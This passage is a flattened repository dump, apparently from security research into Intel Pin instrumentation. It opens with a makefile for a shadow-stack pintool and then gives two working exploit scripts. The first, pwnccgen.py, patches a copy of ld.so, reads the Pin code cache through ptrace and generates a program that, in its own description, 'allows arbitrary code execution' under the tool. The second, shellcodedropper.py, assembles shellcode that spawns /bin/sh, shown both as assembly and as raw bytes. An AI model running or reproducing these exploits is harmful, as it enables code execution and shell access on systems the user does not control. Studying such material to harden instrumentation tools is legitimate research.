tools of the same name. This is simply for convenience to avoid 18 | # defining the test name twice (once in TOOL_ROOTS and again in TEST_ROOTS). 19 | # Tests defined here should not be defined in TOOL_ROOTS and TEST_ROOTS. 20 | TEST_TOOL_ROOTS := ShadowStackTool 21 | 22 | # This defines the tests to be run that were not already defined in TEST_TOOL_ROOTS. 23 | TEST_ROOTS := 24 | 25 | # This defines the tools which will be run during the the tests, and were not already defined in 26 | # TEST_TOOL_ROOTS. 27 | TOOL_ROOTS := 28 | 29 | # This defines the static analysis tools which will be run during the the tests. They should not 30 | # be defined in TEST_TOOL_ROOTS. If a test with the same name exists, it should be defined in 31 | # TEST_ROOTS. 32 | # Note: Static analysis tools are in fact executables linked with the Pin Static Analysis Library. 33 | # This library provides a subset of the Pin APIs which allows the tool to perform static analysis 34 | # of an application or dll. Pin itself is not used when this tool runs. 35 | SA_TOOL_ROOTS := 36 | 37 | # This defines all the applications that will be run during the tests. 38 | APP_ROOTS := 39 | 40 | # This defines any additional object files that need to be compiled. 41 | OBJECT_ROOTS := 42 | 43 | # This defines any additional dlls (shared objects), other than the pintools, that need to be compiled. 44 | DLL_ROOTS := 45 | 46 | # This defines any static libraries (archives), that need to be built. 47 | LIB_ROOTS := 48 | 49 | ###### Define the sanity subset ###### 50 | 51 | # This defines the list of tests that should run in sanity. It should include all the tests listed in 52 | # TEST_TOOL_ROOTS and TEST_ROOTS excluding only unstable tests. 53 | SANITY_SUBSET := $(TEST_TOOL_ROOTS) $(TEST_ROOTS) 54 | 55 | 56 | ############################################################## 57 | # 58 | # Test recipes 59 | # 60 | ############################################################## 61 | 62 | # This section contains recipes for tests other than the default. 63 | # See makefile.default.rules for the default test rules. 64 | # All tests in this section should adhere to the naming convention: .test 65 | 66 | 67 | ############################################################## 68 | # 69 | # Build rules 70 | # 71 | ############################################################## 72 | 73 | # This section contains the build rules for all binaries that have special build rules. 74 | # See makefile.default.rules for the default build rules. 75 | TOOL_CXXFLAGS := $(TOOL_CXXFLAGS) -std=c++11 76 | 77 | -------------------------------------------------------------------------------- /shadow/off_graph.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhechkoz/PwIN/ba08ed92ca332f92356057f75c4777bd6c652535/shadow/off_graph.pdf -------------------------------------------------------------------------------- /shadow/pwnccgen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import subprocess as sp 3 | import os.path 4 | import argparse 5 | import mmap 6 | import time 7 | from ptrace.debugger import PtraceDebugger 8 | from ptrace.debugger.memory_mapping import readProcessMappings 9 | 10 | def generateTest(offset=0, sleepTime=3, read=0): 11 | program = \ 12 | '''#include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | int main(int argc, char** argv) {{ 19 | char *ptr = malloc(0x3ff000); 20 | int offset = {0}; 21 | sleep({1}); 22 | 23 | if (read(STDIN_FILENO, ptr + offset, {2}) < 0) {{ 24 | perror("Error"); 25 | return -1; 26 | }} 27 | 28 | printf("-heap-%p\\n", ptr); 29 | 30 | return 0; 31 | }}'''.format(offset, sleepTime, read) 32 | return program 33 | 34 | def compile(name, program, flags): 35 | with open(name + '.c', 'w') as f: 36 | f.write(program) 37 | 38 | sp.run(['gcc', name + '.c', '-o', name] + flags) 39 | 40 | def executePin(tool): 41 | pinCommand = ['pin', '-t', tool, '--', './pwn'] 42 | pin = sp.Popen(pinCommand, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE) 43 | return pin 44 | 45 | def parseHeap(inp): 46 | for line in inp.split(b'\n'): 47 | if b'-heap-' in line: 48 | return int(line[line.find(b'-0x')+1:], 16) 49 | 50 | print('ERROR: heap address parsing failed!') 51 | print(inp.decode()) 52 | exit(-1) 53 | 54 | def debugFindRtld(pid): 55 | dbg = PtraceDebugger() 56 | process = dbg.addProcess(pid, False) 57 | 58 | for pm in readProcessMappings(process): 59 | if 'rwx' in pm.permissions: 60 | for addr in pm.search(b'\x78\x56\x34\x12'): 61 | # There are no ret instructions in the CC 62 | memory = process.readBytes(addr, 20) 63 | if b'\xC3' not in memory: 64 | process = None 65 | dbg.quit() 66 | return addr 67 | 68 | print('ERROR: Could not find the address of rtld_lock_default_lock_recursive in code cache!') 69 | exit(-1) 70 | 71 | if __name__ == "__main__": 72 | if sp.Popen("uname -m", shell = True, stdout = sp.PIPE).stdout.read().decode().strip() != "x86_64": 73 | print("This script can run on amd64 Linux only!") 74 | exit(-1) 75 | 76 | parser = argparse.ArgumentParser(description = '''Generates program which allows 77 | arbitrary code execution if executed 78 | with the specified tool.''') 79 | parser.add_argument('tool', help='Path to pintool') 80 | args = parser.parse_args() 81 | 82 | if not os.path.exists(args.tool): 83 | print(args.tool + ' does not exist!') 84 | exit(-1) 85 | 86 | flags = ['-Wl,-z,relro,-z,now', '-fPIC', '-pie', '-fpie', '-D_FORTIFY_SOURCE=2', 87 | '-fstack-protector-all'] 88 | 89 | ## Step 1: Create debug program 90 | program = generateTest() 91 | compile('pwn', program, flags) 92 | 93 | ## Step 2: Find absolute path of ld on this system 94 | p = sp.Popen('ldd ./pwn | grep ld | head -n1', shell = True, stdout = sp.PIPE) 95 | out, _ = p.communicate() 96 | out = out.strip() 97 | ldpath = out[:out.find(b' (')].decode() 98 | print('// ld is {}'.format(ldpath)) 99 | 100 | ## Step 3: Make a copy in tmp 101 | tmpLib = '/tmp/ld.so' 102 | if len(tmpLib) > len(ldpath): 103 | print('Temporary path to ld is too long') 104 | exit(-1) 105 | sp.run(['cp', ldpath, tmpLib]) 106 | 107 | ## Step 4: Search for rtld_lock_default_lock_recursive code 108 | p = sp.Popen('objdump -dMintel {} | grep "add.*\[rdi+0x4\],0x1"'.format(ldpath), shell = True, stdout = sp.PIPE) 109 | out, _ = p.communicate() 110 | out = out.strip().split(b'\n') 111 | if not len(out) == 1: 112 | print('add [rdi+0x4]. 0x1 is found more than once in ' + ldpath) 113 | exit(-1) 114 | 115 | ## Step 5: Write on its place push 0x12345678; add rsp, 0x8; ret 116 | # which is both, easy to find and short enough to fit in the place 117 | # between function 118 | addr, bytes, _ = list(map(lambda x: x.strip(), out[0].split(b'\t'))) 119 | addr = int(addr[:-1], 16) 120 | lenBytes = len(bytes.decode().replace(' ', '')) // 2 121 | addr = addr + lenBytes # Address to write custom code 122 | 123 | with open(tmpLib, 'r+b') as f: 124 | f.seek(addr) 125 | f.write(b'\x68\x78\x56\x34\x12\x48\x83\xC4\x08\xC3') 126 | 127 | ## Step 6: Path pwn to use our custom ld library 128 | with open('./pwn', 'r+b') as f,\ 129 | mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) as s: 130 | currentLDpath = s.find(ldpath.encode()) 131 | 132 | if currentLDpath != -1: 133 | f.seek(currentLDpath) 134 | f.write(tmpLib.encode() + b'\x00') 135 | else: 136 | print('Could not find {} in pwn!'.format(ldpath)) 137 | exit(-1) 138 | 139 | ## Step 7: Start PIN with the provided tool and find the marker's address, 140 | # effectively finding rtld_lock_default_lock_recursive in code cache. Then 141 | # parse the "leaked" heap address. 142 | pin = executePin(args.tool) 143 | time.sleep(2) 144 | 145 | # Find the location of rtld_lock_default_lock_recursive in code cache 146 | p = sp.Popen('pidof ./pwn', shell = True, stdout = sp.PIPE) 147 | out, _ = p.communicate() 148 | pid = int(out.strip()) 149 | rtDebug = debugFindRtld(pid) 150 | print('// rtld_lock_default_lock_recursive address in CC is {:#0x}'.format(rtDebug)) 151 | 152 | # Finish Pin execution and parse heap address 153 | stdout, _ = pin.communicate() 154 | heap = parseHeap(stdout) 155 | 156 | print('// leaked heap address is {:#0x}'.format(heap)) 157 | 158 | ## Step 8: Calculate offset between rtld_lock_default_lock_recursive in code cache 159 | # and heap address and compile pwn with this offset 160 | offset = abs(heap - rtDebug) 161 | print('// CC to Big Heap offset {:#0x}'.format(offset)) 162 | 163 | program = generateTest(offset, 0, 512) 164 | compile('pwn', program, flags) 165 | 166 | print('\n// You can either use the already compiled binary pwn or compile the program by yourself as follows:') 167 | print('// gcc NAME.c -o OUTPUT ' + ' '.join(flags) + '\n') 168 | print(program) 169 | -------------------------------------------------------------------------------- /shadow/shellcodedropper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import keystone 4 | 5 | ''' 6 | Example shellcode: 7 | 8 | \x90\x90\x90\x90\x48\x81\xC4\x00\x01\x00\x00\x48\x31\xFF\x6A\x03\x58\x0F\x05\x48\xBB\x2F\x64\x65\x76\x2F\x74\x74\x79\x57\x53\x54\x5F\x68\x02\x27\x00\x00\x5E\x48\x31\xD2\x6A\x02\x58\x0F\x05\x48\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x56\x53\x54\x5F\x6A\x3B\x58\x0F\x05 9 | ''' 10 | 11 | shellcode = \ 12 | ''' 13 | add rsp, 0x100 14 | xor rdi, rdi 15 | push 0x3 16 | pop rax 17 | syscall // close(0) 18 | movabs rbx, 0x7974742f7665642f 19 | push rdi 20 | push rbx 21 | push rsp 22 | pop rdi 23 | push 0x2702 24 | pop rsi 25 | xor rdx, rdx 26 | push 0x2 27 | pop rax 28 | syscall // open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|O_ASYNC) 29 | xor rsi, rsi 30 | movabs rbx, 0x68732f2f6e69622f 31 | push rsi 32 | push rbx 33 | push rsp 34 | pop rdi 35 | push 0x3b 36 | pop rax 37 | syscall // execve("/bin/sh", NULL, 0) 38 | ''' 39 | 40 | ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64) 41 | shellcode, _ = ks.asm(shellcode) 42 | sys.stdout.buffer.write(bytes(shellcode)) 43 | --------------------------------------------------------------------------------